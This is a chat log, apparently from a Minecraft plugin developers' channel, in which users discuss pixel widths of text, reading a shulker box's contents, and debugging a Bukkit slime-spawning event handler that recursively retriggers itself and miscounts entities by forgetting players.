................. its the width in pixels
what does each method do?
🤦
im just saying why do you need that many methods
cant you store it in like a hashmap?
Its an enum
the line can only fit 160 . So Actually no the line can't fit 256 chars on it.
Sigh... Looks like the pixels sizes are off.
I need to account for the empty pixels between letters.
arent mc chars not monospaced?
How do I open an itemstack inventory if it's a shulkerbox??
What?
How do I get the shulkers inventory if I know that an item stack is Material shulker box
OHhhh so you have an itemstack which is a shulker and you want the contents?
yes
thanks
any clue why this doesnt work?
public void SlimeReplace(CreatureSpawnEvent event) {
if (event.getEntity().getType() != EntityType.SLIME) {
event.getEntity().remove();
Integer ChunkEntities = event.getLocation().getChunk().getEntities().length;
if (ChunkEntities < 4) {
if (event.getLocation().getWorld() == Bukkit.getWorld("rpg")) {
Location center = new Location(Bukkit.getWorld("rpg"), 68, 69, 125);
Double distance = 75D;
Location location = event.getLocation();
if (location.distanceSquared(center) <= distance * distance) {
Entity ent = Bukkit.getWorld("rpg").spawnEntity(event.getLocation(), EntityType.SLIME);
Slime slime = (Slime) ent;
}
}
}
}
}
}
There can be more than 1 slime in a chunk
but you cant spawn aanything
even in an empty chunk
help
whats up?
cimex whats up
hover over it and it will say
^
ye but i cant fix
'dev.bunk.surge.SurgeCore.this' cannot be referenced from a static context
Idolp that looks broken kinda lol
but then I added the check for in chunk
= more error
You know spawnEntity triggers a new creature spawn event
^
stack overflow baybeeeeeeee
Also you’re checking if there are less than 4 entities
Which I for some reason feel like it’s always going to be false
hmmm
cvan som1 helpes me
why would it always be false
I mean it clearly is false bc it doesnt work
but I wonder why
I mean okay you do remove any entity which isn’t slime but did you clear the world of entities before that? And players cannot be removed I think.
helkp me and magic fairy make it true
OH PLAYERS
dude i forgot to account for players